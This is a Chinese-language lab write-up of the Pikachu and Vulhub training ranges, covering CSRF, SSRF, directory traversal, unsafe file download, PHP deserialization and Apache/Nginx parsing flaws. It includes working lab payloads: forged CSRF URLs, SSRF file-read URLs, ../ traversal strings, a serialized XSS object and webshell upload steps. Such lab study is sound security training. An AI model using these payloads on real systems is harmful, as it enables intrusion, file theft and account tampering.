---所以跟上面比一下,就可以看出CSRF与XSS的区别:CSRF是借用户的权限完成攻击,攻击者并没有拿到用户的权限,而XSS是直接盗取到了用户的权限,然后实施破坏。
因此,网站如果要防止CSRF攻击,则需要对敏感信息的操作实施对应的安全措施,防止这些操作出现被伪造的情况,从而导致CSRF。比如:
--对敏感信息的操作增加安全的token;
--对敏感信息的操作增加安全的验证码;
--对敏感信息的操作实施安全的逻辑流程,比如修改密码时,需要先校验旧密码等。
个人看完后,感觉条件比较苛刻,并且需要知道传参变量的含义。
CSRF(get)
题目给了很多账号,我们先随便登录一个然后抓个包。
这时候就可以登录另一个号,然后打开下面的链接,就可以在另一个号实现修改信息的效果。
先登录grady的号,信息如下。
姓名:grady
性别:boy
手机:13676765545
住址:nba hs
另外打开url后
邮箱:grady@pikachu.com
/pikachu/vul/csrf/csrfget/csrf_get_edit.php?sex=boy&phonenum=18626545453&add=chain&email=vince%40pikachu.com&submit=submit
信息被修改。
姓名:grady
性别:boy
手机:18626545453
住址:chain
邮箱:vince@pikachu.com
CSRF(post)
传参方式变了,bp先抓个包。
然后就是生成攻击方式的问题了,由于不是get传参,是post传参,没法直接用url,需要写一个html文件bp的
这时候我们可以利用Generate CSRF PoC功能生成一个html文件,然后将其挂在攻击机开的http服务中。然后让目标去访问这个html文件。
然后在攻击机上起服务,我这里是直接在本地弄了个post.html
先登录一个号。然后访问http://127.0.0.1/post.html。
信息被修改。
CSRF Token
还是先抓个包看看。
在请求中添加了Token。
Token的定义:Token是服务端生成的一串字符串,以作客户端进行请求的一个令牌,当第一次登录后,服务器生成一个Token便将此Token返回给客户端,以后客户端只需带上这个Token前来请求数据即可,无需再次带上用户名和密码。
每次抓包都会发现Token变了。说明Token的生成是随机的,无法构造url,所以这个题应该主要是在讲如何防止CSRF。
但是后面发现这些提交都存在储存型xss漏洞,所以完全可以自己获得cookie,然后进行修改。
SSRF
SSRF(Server-Side Request Forgery:服务器端请求伪造)
其形成的原因大都是由于服务端提供了从其他服务器应用获取数据的功能,但又没有对目标地址做严格过滤与限制
导致攻击者可以传入任意的地址来让后端服务器对其发起请求,并返回对该目标地址请求的数据
产生漏洞的函数。
file_get_contents()
fsockopen()
curl_exec()
SSRF(curl)
1 |
|
使用了curl_exec,并且没将CURLOPT_RETURNTRANSFER 设置成 1,能将内容输出到网页,造成SSRF。
利用方式
http://127.0.0.1/pikachu/vul/ssrf/ssrf_curl.php?url=http://127.0.0.1:80
可以用来泄露一些服务器的端口的信息。
SSRF(file_get_contents)
file_get_contents() 函数把整个文件读入一个字符串中。
1 |
|
读取了文件,并且打印出来。
读取文件。
http://127.0.0.1/pikachu/vul/ssrf/ssrf_fgc.php?file=file:///D://1.txt
读取文件并转base64编码。
http://127.0.0.1/pikachu/vul/ssrf/ssrf_fgc.php?file=php://filter/read=convert.base64-encode/resource=D://1.txt
../../目录遍历
在web功能设计中,很多时候我们会要将需要访问的文件定义成变量,从而让前端的功能便的更加灵活。 当用户发起一个前端的请求时,便会将请求的这个文件的值(比如文件名称)传递到后台,后台再执行其对应的文件。 在这个过程中,如果后台没有对前端传进来的值进行严格的安全考虑,则攻击者可能会通过“../”这样的手段让后台打开或者执行一些其他的文件。 从而导致后台服务器上其他目录的文件结果被遍历出来,形成目录遍历漏洞。
看到这里,你可能会觉得目录遍历漏洞和不安全的文件下载,甚至文件包含漏洞有差不多的意思,是的,目录遍历漏洞形成的最主要的原因跟这两者一样,都是在功能设计中将要操作的文件使用变量的 方式传递给了后台,而又没有进行严格的安全考虑而造成的,只是出现的位置所展现的现象不一样,因此,这里还是单独拿出来定义一下。
简单说就是类似于文件包含,不过是可以通过../进行文件夹上级的文件访问。而且文件包含如果没对目录遍历进行过滤也是可以进行访问上级的文件的。
目录遍历
随便点击一个,url如下。
http://127.0.0.1/pikachu/vul/dir/dir_list.php?title=jarheads.php
所以可以构造下面的playload。
http://127.0.0.1/pikachu/vul/dir/dir_list.php?title=../../../../../../../1.txt
这里根据自己文件路径而定。
Unsafe Filedownload
文件下载功能在很多web系统上都会出现,一般我们当点击下载链接,便会向后台发送一个下载请求,一般这个请求会包含一个需要下载的文件名称,后台在收到请求后 会开始执行下载代码,将该文件名对应的文件response给浏览器,从而完成下载。 如果后台在收到请求的文件名后,将其直接拼进下载文件的路径中而不对其进行安全判断的话,则可能会引发不安全的文件下载漏洞。
此时如果 攻击者提交的不是一个程序预期的的文件名,而是一个精心构造的路径(比如../../../etc/passwd),则很有可能会直接将该指定的文件下载下来。 从而导致后台敏感信息(密码文件、源代码等)被下载。
所以,在设计文件下载功能时,如果下载的目标文件是由前端传进来的,则一定要对传进来的文件进行安全考虑。 切记:所有与前端交互的数据都是不安全的,不能掉以轻心!
都类似于文件包含,目录遍历,SSRF中的file_get_contents,对前端传入的文件进行一个判断,导致可以访问服务器中的敏感文件。
这个就是不但可以访问,而且还能下载下来。
不安全的文件下载
点击头像进行下载,我们看下载的url。
127.0.0.1/pikachu/vul/unsafedownload/execdownload.php?filename=../../../../../../../1.txt
然后php源码也是没有过滤。
简单构造下。
http://127.0.0.1/pikachu/vul/unsafedownload/execdownload.php?filename=../../../../../../../1.txt
就可以下载服务器中的文件了。
php反序列化
先了解两个函数。
PHP serialize() 函数
作用:serialize() 函数用于序列化对象或数组,并返回一个字符串。serialize() 函数用于序列化对象或数组,并返回一个字符串。
例子:
<?php
$sites = array('Google', 'Runoob', 'Facebook');
$serialized_data = serialize($sites);
echo $serialized_data . PHP_EOL;
?>
a:3:{i:0;s:6:"Google";i:1;s:6:"Runoob";i:2;s:8:"Facebook";}
PHP unserialize() 函数
作用:unserialize() 函数用于将通过 serialize() 函数序列化后的对象或数组进行反序列化,并返回原始的对象结构。
<?php
$str = 'a:3:{i:0;s:6:"Google";i:1;s:6:"Runoob";i:2;s:8:"Facebook";}';
$unserialized_data = unserialize($str);
print_r($unserialized_data);
?>
Array
(
[0] => Google
[1] => Runoob
[2] => Facebook
)
当我们可以控制反序列化的参数时,且后台调用了一些魔法函数的时候,就可能造成漏洞,魔法函数是指在特定的情况下被调用的函数。
常见魔法函数
__construct() 当一个对象创建时被调用
__destruct() 当一个对象销毁时被调用
__toString() 当一个对象被当作一个字符串使用
__sleep() 在对象在被序列化之前运行
__wakeup 将在序列化之后立即被调用
__call() 在对象上下文中调用不可访问的方法时触发
__callStatic() 在静态上下文中调用不可访问的方法时触发
__get() 用于从不可访问的属性读取数据时
__set() 用于将数据写入不可访问的属性
__isset() 在不可访问的属性上调用isset()或empty()触发
__unset() 在不可访问的属性上使用unset()时触发
__invoke() 当脚本尝试将对象调用为函数时触发
__autoload() 尝试加载未定义的类时触发
__clone() 当对象复制完成时触发
php反序列化漏洞
1 |
|
可以看到,创建了一个类,并且里面有一个魔法函数__construct,当有对象被创建时就会执行。并且我们提交的参数是可以反序列化的,所以我们可以创建一个类,并将参数设置成恶意代码,这样这个类被反序列化创建出来的时候就会echo打印,造成xss漏洞。
playload
O:1:"S":1:{s:4:"test";s:36:"<script>alert('The_Itach1')</script>";}
中间件漏洞
搭建靶场Vulhub,https://blog.csdn.net/weixin_45744814/article/details/120185420
换源:https://blog.csdn.net/weinipangbai/article/details/108589571
vim /etc/docker/daemon.json
{
"registry-mirrors": ["https://nfesww3w.mirror.aliyuncs.com"]
#https://nddt8zfh.mirror.aliyuncs.com
}
Apache
Apache是当前使用最广泛的Web服务器。Web服务器一般指网站服务器,是指驻留于因特网上某种类型计算机的程序,可以处理浏览器等Web客户端的请求并返回相应响应,也可以放置网站文件,让全世界浏览;可以放置数据文件,让全世界下载。
Apache httpd 多后缀解析漏洞
Apache httpd
httpd是Apache超文本传输协议(HTTP)服务器的主程序。被设计为一个独立运行的后台进程,它会建立一个处理请求的子进程或线程的池。
漏洞产生原理:
Apache httpd支持多后缀解析,比如说1.php.jpg.png。其会从右向左进行识别后缀,直到找到可识别后缀,然后进行解析。到这里实际上都没什么问题,但是如果运维人员在配置文件给.php添加了处理器,例如下面
AddHandler application/x-httpd-php .php
#对带有php后缀的文件,一律按php文件解析。
是不是感觉有点像文件上传漏洞的.htaccess配置文件。
练习,Vulhub的apache_parsing_vulnerability。
上传一句话木马,文件名称1.php.jpg。
查看源码
1 |
|
白名单过滤。
Apache httpd 换行解析漏洞(CVE-2017-15715)
漏洞原理,Apache httpd过滤不完善,将1.php%0A仍当做php文件解析,同时能过php黑名单过滤。
类似于系统命名绕过,但是问题出在Apache httpd。
影响版本:2.4.0~2.4.29
靶场练习:CVE-2017-15715
环境中没有上传文件的html代码,需要自己编写一个。
1 |
|
然后f12编辑,name需要我们自己输入。
bp抓包添加%0a结尾。
这时候访问/test.php%0a,就会出现phpinfo的内容,但是奇怪的是,不知道文件被上传到哪去了。
修复的话就是使用$_FILES[‘file’][‘name’],会将name的换行符直接去掉。
Nginx
Nginx(engine x) 是一个高性能的HTTP和反向代理web服务器,同时也提供了IMAP/POP3/SMTP服务。其将源代码以类BSD许可证的形式发布,因它的稳定性、丰富的功能集、简单的配置文件和低系统资源的消耗而闻名。2011年6月1日,nginx 1.0.4发布。
Nginx是一款轻量级的Web服务器/反向代理服务器及电子邮件(IMAP/POP3)代理服务器,在BSD-like 协议下发行。
其特点是占有内存少,并发能力强,事实上nginx的并发能力在同类型的网页服务器中表现较好,中国大陆使用nginx网站用户有:百度、京东、新浪、网易、腾讯、淘宝等。
文件名逻辑漏洞(CVE-2013-4547)
vulhub靶场可以复现。
漏洞原理:
Nginx匹配到.php结尾的请求,就发送给fastcgi进行解析。靶场中的代码如下。
worker_processes 1;
events {
worker_connections 1024;
}
http {
include mime.types;
default_type application/octet-stream;
sendfile on;
keepalive_timeout 65;
server {
listen 80;
server_name localhost;
root html;
index index.php;
charset utf-8;
location ~ \.php$ {
root html;
include fastcgi_params;
fastcgi_pass php:9000;
fastcgi_index index.php;
fastcgi_param SCRIPT_FILENAME /var/www/html$fastcgi_script_name;
fastcgi_param DOCUMENT_ROOT /var/www/html;
}
}
}
一般情况下,只有php文件才会发送到fastcgi解析。
主要是错误的解析了请求的url的问题,题目源码是黑名单,所以可以上传jgp等文件,并且linux下保存的文件是可以带空格的。如果我们的url是1.jpg\0x20\0x00.php,就可以匹配上正则.php$(意思就是结尾的字符串是.php,但是比较奇怪怎么匹配上的),从而可以进入Location,然后发送给fastcgi当做php解析,但是真实的文件名称是1.jpg\0x20。
影响版本:
Nginx 0.8.41 ~ 1.4.3
Nginx 1.5.0 ~ 1.5.7
复现过程:
上传webshell,jpg结尾,然后bp抓包,在文件名后面添加空格。
访问/uploadfiles/1.jpg…php,修改..为\x20\x00。
然后发现成功执行webshell的内容。
Nginx中的解析漏洞
漏洞原理:
Nginx的配置问题,当我们采取/1.jpg/xxx.php的url时,由于是.php后缀,Nginx便会当做php文件处理,然后fastcgi处理时发现xxx.php不存在,然后php.ini配置文件的cgi.fix_pathinfo=1,作用是修复路径,简单理解就是当前路径文件不存在,就去掉。例如“/aaa.xxx/bbb.yyy/ccc.zzz”,ccc.zzz不存在就变成“/aaa.xxx/bbb.yyy”,然后如果bbb.yyy再不存在就变成“/aaa.xxx”。所以我们的url会变成/1.jpg,然后将1.jpg当做php文件处理,前提是security.limit_extensions包括了jpg类型,但是老版本的php是没有这个配置的。
与版本无关,主要是配置问题。
修复漏洞:
cgi.fix_pathinfo=0
security.limit_extensions = .php //只允许php文件才可以执行。
复现过程。
靶场中已经有一个jpg,并且也是php低版本,所以直接加/xxx.php即可。